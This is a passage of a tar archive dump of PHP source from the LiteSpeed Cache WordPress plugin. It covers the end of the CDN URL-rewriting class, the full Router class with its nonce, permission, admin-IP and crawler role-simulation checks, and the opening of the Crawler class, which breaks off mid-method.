); if ( $url ) { $img[0] = $url; } } return $img; } /** * Try to rewrite one image URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_img( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_IMG ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Try to rewrite one CSS URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_css( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_CSS ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Try to rewrite one JS URL with CDN. * * @since 1.7 * @access public * * @param string $url Original URL. * @return string URL after rewriting, or original if not applicable. */ public function url_js( $url ) { if ( $url ) { $url2 = $this->rewrite( $url, Base::CDN_MAPPING_INC_JS ); if ( $url2 ) { $url = $url2; } } return $url; } /** * Filter responsive image sources for CDN. * * @since 1.2.3 * @since 1.7 Removed static from function. * @access public * * @param array<int,array{url:string}> $srcs Srcset array. * @return array<int,array{url:string}> */ public function srcset( $srcs ) { if ( $srcs ) { foreach ( $srcs as $w => $data ) { $url = $this->rewrite( $data['url'], Base::CDN_MAPPING_INC_IMG ); if ( ! $url ) { continue; } $srcs[ $w ]['url'] = $url; } } return $srcs; } /** * Replace an URL with mapped CDN URL, if applicable. * * @since 1.2.3 * @access public * * @param string $url Target URL. * @param string $mapping_kind Mapping kind (e.g., Base::CDN_MAPPING_INC_IMG or Base::CDN_MAPPING_FILETYPE). * @param string|false $postfix File extension (with dot) when mapping by file type. * @return string|false Replaced URL on success, false when not applicable. */ public function rewrite( $url, $mapping_kind, $postfix = false ) { self::debug2( 'rewrite ' . $url ); $url_parsed = wp_parse_url( $url ); if ( empty( $url_parsed['path'] ) ) { self::debug2( '-rewrite bypassed: no path' ); return false; } // Only images under wp-content/wp-includes can be replaced $is_internal_folder = Utility::str_hit_array( $url_parsed['path'], $this->_cfg_ori_dir ); if ( ! $is_internal_folder ) { self::debug2( '-rewrite failed: path not match: ' . LSCWP_CONTENT_FOLDER ); return false; } // Check if is external url if ( ! empty( $url_parsed['host'] ) ) { if ( ! Utility::internal( $url_parsed['host'] ) && ! $this->_is_ori_url( $url ) ) { self::debug2( '-rewrite failed: host not internal' ); return false; } } $exclude = Utility::str_hit_array( $url, $this->_cfg_cdn_exclude ); if ( $exclude ) { self::debug2( '-abort excludes ' . $exclude ); return false; } // Fill full url before replacement if ( empty( $url_parsed['host'] ) ) { $url = Utility::uri2url( $url ); self::debug2( '-fill before rewritten: ' . $url ); $url_parsed = wp_parse_url( $url ); } $scheme = ! empty( $url_parsed['scheme'] ) ? $url_parsed['scheme'] . ':' : ''; // Find the mapping url to be replaced to if ( empty( $this->_cfg_cdn_mapping[ $mapping_kind ] ) ) { return false; } if ( Base::CDN_MAPPING_FILETYPE !== $mapping_kind ) { $final_url = $this->_cfg_cdn_mapping[ $mapping_kind ]; } else { // select from file type $final_url = $this->_cfg_cdn_mapping[ $postfix ]; if ( ! $final_url ) { return false; } } // If filetype to url is one to many, need to random one if ( is_array( $final_url ) ) { $final_url = $final_url[ array_rand( $final_url ) ]; } // Now lets replace CDN url foreach ( $this->_cfg_url_ori as $v ) { if ( false !== strpos( $v, '*' ) ) { $url = preg_replace( '#' . $scheme . $v . '#iU', $final_url, $url ); } else { $url = str_replace( $scheme . $v, $final_url, $url ); } } self::debug2( '-rewritten: ' . $url ); return $url; } /** * Check if the given URL matches any configured "original" URLs for CDN. * * @since 2.1 * @access private * * @param string $url URL to test. * @return bool True if URL is one of the originals. */ private function _is_ori_url( $url ) { $url_parsed = wp_parse_url( $url ); $scheme = ! empty( $url_parsed['scheme'] ) ? $url_parsed['scheme'] . ':' : ''; foreach ( $this->_cfg_url_ori as $v ) { $needle = $scheme . $v; if ( false !== strpos( $v, '*' ) ) { if ( preg_match( '#' . $needle . '#iU', $url ) ) { return true; } } elseif ( 0 === strpos( $url, $needle ) ) { return true; } } return false; } /** * Check if the host is one of the CDN mapping hosts. * * @since 1.2.3 * * @param string $host Hostname to check. * @return bool False when bypassed, otherwise true if internal CDN host. */ public static function internal( $host ) { if ( defined( self::BYPASS ) ) { return false; } $instance = self::cls(); return in_array( $host, $instance->cdn_mapping_hosts, true ); // todo: can add $this->_is_ori_url() check in future } } ������������������������������������������������������������������������������������plugins/litespeed-cache/src/router.cls.php����������������������������������������������������������0000644�����������������00000051410�15233526476�0014662 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The core plugin router class. * * This generate the valid action. * * @since 1.1.0 */ namespace LiteSpeed; defined('WPINC') || exit(); class Router extends Base { const LOG_TAG = '[Router]'; const NONCE = 'LSCWP_NONCE'; const ACTION = 'LSCWP_CTRL'; const ACTION_SAVE_SETTINGS_NETWORK = 'save-settings-network'; const ACTION_DB_OPTM = 'db_optm'; const ACTION_PLACEHOLDER = 'placeholder'; const ACTION_AVATAR = 'avatar'; const ACTION_SAVE_SETTINGS = 'save-settings'; const ACTION_CLOUD = 'cloud'; const ACTION_IMG_OPTM = 'img_optm'; const ACTION_HEALTH = 'health'; const ACTION_CRAWLER = 'crawler'; const ACTION_PURGE = 'purge'; const ACTION_CONF = 'conf'; const ACTION_ACTIVATION = 'activation'; const ACTION_CSS = 'css'; const ACTION_UCSS = 'ucss'; const ACTION_VPI = 'vpi'; const ACTION_PRESET = 'preset'; const ACTION_IMPORT = 'import'; const ACTION_REPORT = 'report'; const ACTION_DEBUG2 = 'debug2'; const ACTION_CDN_CLOUDFLARE = 'CDN\Cloudflare'; const ACTION_ADMIN_DISPLAY = 'admin_display'; const ACTION_GUEST = 'guest'; const ACTION_MEDIA = 'media'; const ACTION_TMP_DISABLE = 'tmp_disable'; // List all handlers here private static $_HANDLERS = array( self::ACTION_ADMIN_DISPLAY, self::ACTION_ACTIVATION, self::ACTION_AVATAR, self::ACTION_CDN_CLOUDFLARE, self::ACTION_CLOUD, self::ACTION_CONF, self::ACTION_CRAWLER, self::ACTION_CSS, self::ACTION_UCSS, self::ACTION_VPI, self::ACTION_DB_OPTM, self::ACTION_DEBUG2, self::ACTION_GUEST, self::ACTION_HEALTH, self::ACTION_IMG_OPTM, self::ACTION_MEDIA, self::ACTION_PRESET, self::ACTION_IMPORT, self::ACTION_PLACEHOLDER, self::ACTION_PURGE, self::ACTION_REPORT, ); const TYPE = 'litespeed_type'; const ITEM_HASH = 'hash'; const ITEM_FLASH_HASH = 'flash_hash'; private static $_esi_enabled; private static $_is_ajax; private static $_is_logged_in; private static $_ip; private static $_action; private static $_is_admin_ip; private static $_frontend_path; /** * Redirect to self to continue operation * * Note: must return when use this func. CLI/Cron call won't die in this func. * * @since 3.0 * @access public */ public static function self_redirect( $action, $type ) { if (defined('LITESPEED_CLI') || wp_doing_cron()) { Admin_Display::success('To be continued'); // Show for CLI return; } // Add i to avoid browser too many redirected warning $i = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; ++$i; $link = Utility::build_url($action, $type, false, null, array( 'litespeed_i' => $i )); $url = html_entity_decode($link); exit("<meta http-equiv='refresh' content='0;url=$url'>"); } /** * Check if can run optimize * * @since 1.3 * @since 2.3.1 Relocated from cdn.cls * @access public */ public function can_optm() { $can = true; if (is_user_logged_in() && $this->conf(self::O_OPTM_GUEST_ONLY)) { $can = false; } elseif (is_admin()) { $can = false; } elseif (is_feed()) { $can = false; } elseif (is_preview()) { $can = false; } elseif (self::is_ajax()) { $can = false; } if (self::_is_login_page()) { Debug2::debug('[Router] Optm bypassed: login/reg page'); $can = false; } $can_final = apply_filters('litespeed_can_optm', $can); if ($can_final != $can) { Debug2::debug('[Router] Optm bypassed: filter'); } return $can_final; } /** * Check referer page to see if its from admin * * @since 2.4.2.1 * @access public */ public static function from_admin() { return !empty($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], get_admin_url()) === 0; } /** * Check if it can use CDN replacement * * @since 1.2.3 * @since 2.3.1 Relocated from cdn.cls * @access public */ public static function can_cdn() { $can = true; if (is_admin()) { if (!self::is_ajax()) { Debug2::debug2('[Router] CDN bypassed: is not ajax call'); $can = false; } if (self::from_admin()) { Debug2::debug2('[Router] CDN bypassed: ajax call from admin'); $can = false; } } elseif (is_feed()) { $can = false; } elseif (is_preview()) { $can = false; } /** * Bypass cron to avoid deregister jq notice `Do not deregister the <code>jquery-core</code> script in the administration area.` * * @since 2.7.2 */ if (wp_doing_cron()) { $can = false; } /** * Bypass login/reg page * * @since 1.6 */ if (self::_is_login_page()) { Debug2::debug('[Router] CDN bypassed: login/reg page'); $can = false; } /** * Bypass post/page link setting * * @since 2.9.8.5 */ $rest_prefix = function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json'); if ( !empty($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], $rest_prefix . '/wp/v2/media') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'wp-admin') !== false ) { Debug2::debug('[Router] CDN bypassed: wp-json on admin page'); $can = false; } $can_final = apply_filters('litespeed_can_cdn', $can); if ($can_final != $can) { Debug2::debug('[Router] CDN bypassed: filter'); } return $can_final; } /** * Check if is login page or not * * @since 2.3.1 * @access protected */ protected static function _is_login_page() { if (in_array($GLOBALS['pagenow'], array( 'wp-login.php', 'wp-register.php' ), true)) { return true; } return false; } /** * UCSS/Crawler role simulator * * @since 1.9.1 * @since 3.3 Renamed from `is_crawler_role_simulation` */ public function is_role_simulation() { if (is_admin()) { return; } if (empty($_COOKIE['litespeed_hash']) && empty($_COOKIE['litespeed_flash_hash'])) { return; } self::debug('🪪 starting role validation'); // Check if is from crawler // if ( empty( $_SERVER[ 'HTTP_USER_AGENT' ] ) || strpos( $_SERVER[ 'HTTP_USER_AGENT' ], Crawler::FAST_USER_AGENT ) !== 0 ) { // Debug2::debug( '[Router] user agent not match' ); // return; // } $server_ip = $this->conf(self::O_SERVER_IP); if (!$server_ip || self::get_ip() !== $server_ip) { self::debug('❌❌ Role simulate uid denied! Not localhost visit!'); Control::set_nocache('Role simulate uid denied'); return; } // Flash hash validation if (!empty($_COOKIE['litespeed_flash_hash'])) { $hash_data = self::get_option(self::ITEM_FLASH_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) { if (time() - $hash_data['ts'] < 120 && $_COOKIE['litespeed_flash_hash'] == $hash_data['hash']) { self::debug('🪪 Role simulator flash hash matched, escalating user to be uid=' . $hash_data['uid']); self::delete_option(self::ITEM_FLASH_HASH); wp_set_current_user($hash_data['uid']); return; } } } // Hash validation if (!empty($_COOKIE['litespeed_hash'])) { $hash_data = self::get_option(self::ITEM_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) { $RUN_DURATION = $this->cls('Crawler')->get_crawler_duration(); if (time() - $hash_data['ts'] < $RUN_DURATION && $_COOKIE['litespeed_hash'] == $hash_data['hash']) { self::debug('🪪 Role simulator hash matched, escalating user to be uid=' . $hash_data['uid']); wp_set_current_user($hash_data['uid']); return; } } } self::debug('❌ WARNING: role simulator hash not match'); } /** * Get a short ttl hash (2mins) * * @since 6.4 */ public function get_flash_hash( $uid ) { $hash_data = self::get_option(self::ITEM_FLASH_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts'])) { if (time() - $hash_data['ts'] < 60) { return $hash_data['hash']; } } // Check if this user has editor access or not if (user_can($uid, 'edit_posts')) { self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.'); return ''; } $hash = Str::rrand(32); self::update_option(self::ITEM_FLASH_HASH, array( 'hash' => $hash, 'ts' => time(), 'uid' => $uid, )); return $hash; } /** * Get a security hash * * @since 3.3 */ public function get_hash( $uid ) { // Check if this user has editor access or not if (user_can($uid, 'edit_posts')) { self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.'); return ''; } // As this is called only when starting crawling, not per page, no need to reuse $hash = Str::rrand(32); self::update_option(self::ITEM_HASH, array( 'hash' => $hash, 'ts' => time(), 'uid' => $uid, )); return $hash; } /** * Get user role * * @since 1.6.2 */ public static function get_role( $uid = null ) { if (defined('LITESPEED_WP_ROLE')) { return LITESPEED_WP_ROLE; } if ($uid === null) { $uid = get_current_user_id(); } $role = false; if ($uid) { $user = get_userdata($uid); if (isset($user->roles) && is_array($user->roles)) { $tmp = array_values($user->roles); $role = implode(',', $tmp); // Combine for PHP5.3 const compatibility } } Debug2::debug('[Router] get_role: ' . $role); if (!$role) { return $role; // Guest user Debug2::debug('[Router] role: guest'); /** * Fix double login issue * The previous user init refactoring didn't fix this bcos this is in login process and the user role could change * * @see https://github.com/litespeedtech/lscache_wp/commit/69e7bc71d0de5cd58961bae953380b581abdc088 * @since 2.9.8 Won't assign const if in login process */ if (substr_compare(wp_login_url(), $GLOBALS['pagenow'], -strlen($GLOBALS['pagenow'])) === 0) { return $role; } } define('LITESPEED_WP_ROLE', $role); return LITESPEED_WP_ROLE; } /** * Get frontend path * * @since 1.2.2 * @access public * @return boolean */ public static function frontend_path() { // todo: move to htaccess.cls ? if (!isset(self::$_frontend_path)) { $frontend = rtrim(ABSPATH, '/'); // /home/user/public_html/frontend // get home path failed. Trac ticket #37668 (e.g. frontend:/blog backend:/wordpress) if (!$frontend) { Debug2::debug('[Router] No ABSPATH, generating from home option'); $frontend = parse_url(get_option('home')); $frontend = !empty($frontend['path']) ? $frontend['path'] : ''; $frontend = $_SERVER['DOCUMENT_ROOT'] . $frontend; } $frontend = realpath($frontend); self::$_frontend_path = $frontend; } return self::$_frontend_path; } /** * Check if ESI is enabled or not * * @since 1.2.0 * @access public * @return boolean */ public function esi_enabled() { if (!isset(self::$_esi_enabled)) { self::$_esi_enabled = defined('LITESPEED_ON') && $this->conf(self::O_ESI); if (!empty($_REQUEST[self::ACTION])) { self::$_esi_enabled = false; } } return self::$_esi_enabled; } /** * Check if crawler is enabled on server level * * @since 1.1.1 * @access public */ public static function can_crawl() { if (isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'crawler') === false) { return false; } // CLI will bypass this check as crawler library can always do the 428 check if (defined('LITESPEED_CLI')) { return true; } return true; } /** * Check action * * @since 1.1.0 * @access public * @return string */ public static function get_action() { if (!isset(self::$_action)) { self::$_action = false; self::cls()->verify_action(); if (self::$_action) { defined('LSCWP_LOG') && Debug2::debug('[Router] LSCWP_CTRL verified: ' . var_export(self::$_action, true)); } } return self::$_action; } /** * Check if is logged in * * @since 1.1.3 * @access public * @return boolean */ public static function is_logged_in() { if (!isset(self::$_is_logged_in)) { self::$_is_logged_in = is_user_logged_in(); } return self::$_is_logged_in; } /** * Check if is ajax call * * @since 1.1.0 * @access public * @return boolean */ public static function is_ajax() { if (!isset(self::$_is_ajax)) { self::$_is_ajax = wp_doing_ajax(); } return self::$_is_ajax; } /** * Check if is admin ip * * @since 1.1.0 * @access public * @return boolean */ public function is_admin_ip() { if (!isset(self::$_is_admin_ip)) { $ips = $this->conf(self::O_DEBUG_IPS); self::$_is_admin_ip = $this->ip_access($ips); } return self::$_is_admin_ip; } /** * Get type value * * @since 1.6 * @access public */ public static function verify_type() { if (empty($_REQUEST[self::TYPE])) { Debug2::debug('[Router] no type', 2); return false; } Debug2::debug('[Router] parsed type: ' . $_REQUEST[self::TYPE], 2); return $_REQUEST[self::TYPE]; } /** * Check privilege and nonce for the action * * @since 1.1.0 * @access private */ private function verify_action() { if (empty($_REQUEST[self::ACTION])) { Debug2::debug2('[Router] LSCWP_CTRL bypassed empty'); return; } $action = stripslashes($_REQUEST[self::ACTION]); if (!$action) { return; } $_is_public_action = false; // Each action must have a valid nonce unless its from admin ip and is public action // Validate requests nonce (from admin logged in page or cli) if (!$this->verify_nonce($action)) { // check if it is from admin ip if (!$this->is_admin_ip()) { Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP: ' . $action); return; } // check if it is public action if ( !in_array($action, array( Core::ACTION_QS_NOCACHE, Core::ACTION_QS_PURGE, Core::ACTION_QS_PURGE_SINGLE, Core::ACTION_QS_SHOW_HEADERS, Core::ACTION_QS_PURGE_ALL, Core::ACTION_QS_PURGE_EMPTYCACHE, )) ) { Debug2::debug('[Router] LSCWP_CTRL query string - did not match admin IP Actions: ' . $action); return; } if (apply_filters('litespeed_qs_forbidden', false)) { Debug2::debug('[Router] LSCWP_CTRL forbidden by hook litespeed_qs_forbidden'); return; } $_is_public_action = true; } /* Now it is a valid action, lets log and check the permission */ Debug2::debug('[Router] LSCWP_CTRL: ' . $action); // OK, as we want to do something magic, lets check if its allowed $_is_multisite = is_multisite(); $_is_network_admin = $_is_multisite && is_network_admin(); $_can_network_option = $_is_network_admin && current_user_can('manage_network_options'); $_can_option = current_user_can('manage_options'); switch ($action) { case self::ACTION_TMP_DISABLE: // Disable LSC for 24H Debug2::tmp_disable(); Admin::redirect("?page=litespeed-toolbox#settings-debug"); return; case self::ACTION_SAVE_SETTINGS_NETWORK: // Save network settings if ($_can_network_option) { self::$_action = $action; } return; case Core::ACTION_PURGE_BY: if (defined('LITESPEED_ON') && ($_can_network_option || $_can_option || self::is_ajax())) { // here may need more security self::$_action = $action; } return; case self::ACTION_DB_OPTM: if ($_can_network_option || $_can_option) { self::$_action = $action; } return; case Core::ACTION_PURGE_EMPTYCACHE: // todo: moved to purge.cls type action if ((defined('LITESPEED_ON') || $_is_network_admin) && ($_can_network_option || (!$_is_multisite && $_can_option))) { self::$_action = $action; } return; case Core::ACTION_QS_NOCACHE: case Core::ACTION_QS_PURGE: case Core::ACTION_QS_PURGE_SINGLE: case Core::ACTION_QS_SHOW_HEADERS: case Core::ACTION_QS_PURGE_ALL: case Core::ACTION_QS_PURGE_EMPTYCACHE: if (defined('LITESPEED_ON') && ($_is_public_action || self::is_ajax())) { self::$_action = $action; } return; case self::ACTION_ADMIN_DISPLAY: case self::ACTION_PLACEHOLDER: case self::ACTION_AVATAR: case self::ACTION_IMG_OPTM: case self::ACTION_MEDIA: case self::ACTION_CLOUD: case self::ACTION_CDN_CLOUDFLARE: case self::ACTION_CRAWLER: case self::ACTION_GUEST: case self::ACTION_PRESET: case self::ACTION_IMPORT: case self::ACTION_REPORT: case self::ACTION_CSS: case self::ACTION_UCSS: case self::ACTION_VPI: case self::ACTION_CONF: case self::ACTION_ACTIVATION: case self::ACTION_HEALTH: case self::ACTION_SAVE_SETTINGS: // Save settings if ($_can_option && !$_is_network_admin) { self::$_action = $action; } return; case self::ACTION_PURGE: case self::ACTION_DEBUG2: if ($_can_network_option || $_can_option) { self::$_action = $action; } return; case Core::ACTION_DISMISS: /** * Non ajax call can dismiss too * * @since 2.9 */ // if ( self::is_ajax() ) { self::$_action = $action; // } return; default: Debug2::debug('[Router] LSCWP_CTRL match failed: ' . $action); return; } } /** * Verify nonce * * @since 1.1.0 * @access public * @param string $action * @return bool */ public function verify_nonce( $action ) { if (!isset($_REQUEST[self::NONCE]) || !wp_verify_nonce($_REQUEST[self::NONCE], $action)) { return false; } else { return true; } } /** * Check if the ip is in the range * * @since 1.1.0 * @access public */ public function ip_access( $ip_list ) { if (!$ip_list) { return false; } if (!isset(self::$_ip)) { self::$_ip = self::get_ip(); } if (!self::$_ip) { return false; } // $uip = explode('.', $_ip); // if(empty($uip) || count($uip) != 4) Return false; // foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip)); // foreach($ip_list as $key => $ip) { // if(count($ip) != 4) continue; // for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i]; // } return in_array(self::$_ip, $ip_list); } /** * Get client ip * * @since 1.1.0 * @since 1.6.5 changed to public * @access public * @return string */ public static function get_ip() { $_ip = ''; // if ( function_exists( 'apache_request_headers' ) ) { // $apache_headers = apache_request_headers(); // $_ip = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false; // if ( ! $_ip ) { // $_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false; // $_ip = explode( ',', $_ip ); // $_ip = $_ip[ 0 ]; // } // } if (!$_ip) { $_ip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : false; } return $_ip; } /** * Check if opcode cache is enabled * * @since 1.8.2 * @access public */ public static function opcache_enabled() { return function_exists('opcache_reset') && ini_get('opcache.enable'); } /** * Check if opcode cache is restricted and file that is requesting. * https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.restrict-api * * @since 7.3 * @access public */ public static function opcache_restricted($file) { $restrict_value = ini_get('opcache.restrict_api'); if ($restrict_value) { if ( !$file || false === strpos($restrict_value, $file) ) { return true; } } return false; } /** * Handle static files * * @since 3.0 */ public function serve_static() { if (!empty($_SERVER['SCRIPT_URI'])) { if (strpos($_SERVER['SCRIPT_URI'], LITESPEED_STATIC_URL . '/') !== 0) { return; } $path = substr($_SERVER['SCRIPT_URI'], strlen(LITESPEED_STATIC_URL . '/')); } elseif (!empty($_SERVER['REQUEST_URI'])) { $static_path = parse_url(LITESPEED_STATIC_URL, PHP_URL_PATH) . '/'; if (strpos($_SERVER['REQUEST_URI'], $static_path) !== 0) { return; } $path = substr(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), strlen($static_path)); } else { return; } $path = explode('/', $path, 2); if (empty($path[0]) || empty($path[1])) { return; } switch ($path[0]) { case 'avatar': $this->cls('Avatar')->serve_static($path[1]); break; case 'localres': $this->cls('Localization')->serve_static($path[1]); break; default: break; } } /** * Handle all request actions from main cls * * This is different than other handlers * * @since 3.0 * @access public */ public function handler( $cls ) { if (!in_array($cls, self::$_HANDLERS)) { return; } return $this->cls($cls)->handler(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/crawler.cls.php���������������������������������������������������������0000644�����������������00000131343�15233526476�0015005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The crawler class. * * @package LiteSpeed * @since 1.1.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Handles sitemap crawling, blacklisting, and async operations. */ class Crawler extends Root { const LOG_TAG = '🕸️'; const TYPE_REFRESH_MAP = 'refresh_map'; const TYPE_EMPTY = 'empty'; const TYPE_BLACKLIST_EMPTY = 'blacklist_empty'; const TYPE_BLACKLIST_DEL = 'blacklist_del'; const TYPE_BLACKLIST_ADD = 'blacklist_add'; const TYPE_START = 'start'; const TYPE_RESET = 'reset'; const USER_AGENT = 'lscache_walker'; const FAST_USER_AGENT = 'lscache_runner'; const CHUNKS = 10000; const STATUS_WAIT = 'W'; const STATUS_HIT = 'H'; const STATUS_MISS = 'M'; const STATUS_BLACKLIST = 'B'; const STATUS_NOCACHE = 'N'; /** * Sitemeta file slug. * * @var string */ private $_sitemeta = 'meta.data'; /** * Reset file full path. * * @var string */ private $_resetfile; /** * Reason that ended current run. * * @var string */ private $_end_reason; /** * Number of CPU cores. * * @var int */ private $_ncpu = 1; /** * Server IP set in settings. * * @var string|null */ private $_server_ip; /** * Crawler configuration. * * @var array */ private $_crawler_conf = [ 'cookies' => [], 'headers' => [], 'ua' => '', ]; /** * Built crawler variants. * * @var array<int,array> */ private $_crawlers = []; /** * Current allowed worker threads. * * @var int */ private $_cur_threads = -1; /** * Max timestamp to run until. * * @var int */ private $_max_run_time; /** * Last time threads were adjusted. * * @var int */ private $_cur_thread_time; /** * Map-status list to batch-save. * * @var array */ private $_map_status_list = [ 'H' => [], 'M' => [], 'B' => [], 'N' => [], ]; /** * Summary cache. * * @var array */ protected $_summary; /** * Initialize crawler, assign sitemap path. * * @since 1.1.0 */ public function __construct() { if ( is_multisite() ) { $this->_sitemeta = 'meta' . get_current_blog_id() . '.data'; } $this->_resetfile = LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta . '.reset'; $this->_summary = self::get_summary(); $this->_ncpu = $this->_get_server_cpu(); $this->_server_ip = $this->conf( Base::O_SERVER_IP ); self::debug( 'Init w/ CPU cores=' . $this->_ncpu ); } /** * Try get server CPUs. * * @since 5.2 * @return int Number of cores detected. */ private function _get_server_cpu() { $cpuinfo_file = '/proc/cpuinfo'; $setting_open_dir = ini_get( 'open_basedir' ); if ( $setting_open_dir ) { return 1; // Server has limit. } try { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if (!@is_file($cpuinfo_file)) { return 1; } } catch ( \Exception $e ) { return 1; } // Local system read; no WP alternative. Suppress sniff. // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents $cpuinfo = file_get_contents( $cpuinfo_file ); preg_match_all( '/^processor/m', $cpuinfo, $matches ); $cnt = isset( $matches[0] ) ? count( $matches[0] ) : 0; return $cnt ? $cnt : 1; } /** * Check whether the current crawler is active. * * @since 4.3 * @param int $curr Crawler index. * @return bool Active state. */ public function is_active( $curr ) { $bypass_list = self::get_option( 'bypass_list', [] ); return ! in_array( (int) $curr, $bypass_list, true ); } /** * Toggle the current crawler's active state and return the updated state. * * @since 4.3 * @param int $curr Crawler index. * @return bool True if turned on, false if turned off. */ public function toggle_activeness( $curr ) { $bypass_list = self::get_option( 'bypass_list', [] ); if ( in_array( (int) $curr, $bypass_list, true ) ) { // Remove it. $key = array_search( (int) $curr, $bypass_list, true ); if ( false !== $key ) { unset( $bypass_list[ $key ] ); $bypass_list = array_values( $bypass_list ); self::update_option( 'bypass_list', $bypass_list ); } return true; } // Add it. $bypass_list[] = (int) $curr; self::update_option( 'bypass_list', $bypass_list ); return false; } /** * Clear bypassed list. * * @since 4.3 * @access public * @return void */ public function clear_disabled_list() { self::update_option( 'bypass_list', [] ); $msg = __( 'Crawler disabled list is cleared! All crawlers are set to active! ', 'litespeed-cache' ); Admin_Display::note( $msg ); self::debug( 'All crawlers are set to active...... ' ); } /** * Overwrite get_summary to init elements. * * @since 3.0 * @access public * * @param string|false $field Field name to fetch or false to get all. * @return mixed Summary value/array or null if not found. */ public static function get_summary( $field = false ) { $_default = [ 'list_size' => 0, 'last_update_time' => 0, 'curr_crawler' => 0, 'curr_crawler_beginning_time' => 0, 'last_pos' => 0, 'last_count' => 0, 'last_crawled' => 0, 'last_start_time' => 0, 'last_status' => '', 'is_running' => 0, 'end_reason' => '', 'meta_save_time' => 0, 'pos_reset_check' => 0, 'done' => 0, 'this_full_beginning_time' => 0, 'last_full_time_cost' => 0, 'last_crawler_total_cost' => 0, 'crawler_stats' => [], // this will store all crawlers hit/miss crawl status. ]; wp_cache_delete( 'alloptions', 'options' ); // ensure the summary is current. $summary = parent::get_summary(); $summary = array_merge( $_default, $summary ); if ( false === $field ) { return $summary; } if ( array_key_exists( $field, $summary ) ) { return $summary[ $field ]; } return null; } /** * Overwrite save_summary. * * @since 3.0 * @access public * * @param array|false $data Data to save or false to save current. * @param bool $reload Whether to reload after saving. * @param bool $overwrite Whether to overwrite completely. * @return void */ public static function save_summary( $data = false, $reload = false, $overwrite = false ) { $instance = self::cls(); $instance->_summary['meta_save_time'] = time(); if ( false === $data ) { $data = $instance->_summary; } parent::save_summary( $data, $reload, $overwrite ); File::save( LITESPEED_STATIC_DIR . '/crawler/' . $instance->_sitemeta, wp_json_encode( $data ), true ); } /** * Cron start async crawling. * * @since 5.5 * @return void */ public static function start_async_cron() { Task::async_call( 'crawler' ); } /** * Manually start async crawling. * * @since 5.5 * @return void */ public static function start_async() { Task::async_call( 'crawler_force' ); $msg = __( 'Started async crawling', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Ajax crawl handler. * * @since 5.5 * @param bool $manually_run Whether manually triggered. * @return void */ public static function async_handler( $manually_run = false ) { self::debug( '------------async-------------start_async_handler' ); self::start( (bool) $manually_run ); } /** * Proceed crawling. * * @since 1.1.0 * @access public * * @param bool $manually_run Whether manually triggered. * @return bool|void */ public static function start( $manually_run = false ) { if ( ! Router::can_crawl() ) { self::debug( '......crawler is NOT allowed by the server admin......' ); return false; } if ( $manually_run ) { self::debug( '......crawler manually ran......' ); } self::cls()->_crawl_data( (bool) $manually_run ); } /** * Crawling start. * * @since 1.1.0 * @access private * * @param bool $manually_run Whether manually triggered. * @return void */ private function _crawl_data( $manually_run ) { if ( ! defined( 'LITESPEED_LANE_HASH' ) ) { define( 'LITESPEED_LANE_HASH', Str::rrand( 8 ) ); } if ( $this->_check_valid_lane() ) { $this->_take_over_lane(); } else { self::debug( '⚠️ lane in use' ); return; } self::debug( '......crawler started......' ); // for the first time running. if ( ! $this->_summary || ! Data::cls()->tb_exist( 'crawler' ) || ! Data::cls()->tb_exist( 'crawler_blacklist' ) ) { $this->cls( 'Crawler_Map' )->gen(); } // if finished last time, regenerate sitemap. if ( 'touchedEnd' === $this->_summary['done'] ) { // check whole crawling interval. $last_finished_at = (int) $this->_summary['last_full_time_cost'] + (int) $this->_summary['this_full_beginning_time']; if ( ! $manually_run && ( time() - $last_finished_at ) < $this->conf( Base::O_CRAWLER_CRAWL_INTERVAL ) ) { self::debug( 'Cron abort: cache warmed already.' ); $this->Release_lane(); return; } self::debug( 'TouchedEnd. regenerate sitemap....' ); $this->cls( 'Crawler_Map' )->gen(); } $crawlers = $this->list_crawlers(); $crawlers_count = count( $crawlers ); // Skip the crawlers that in bypassed list. while ( ! $this->is_active( $this->_summary['curr_crawler'] ) && $this->_summary['curr_crawler'] < $crawlers_count 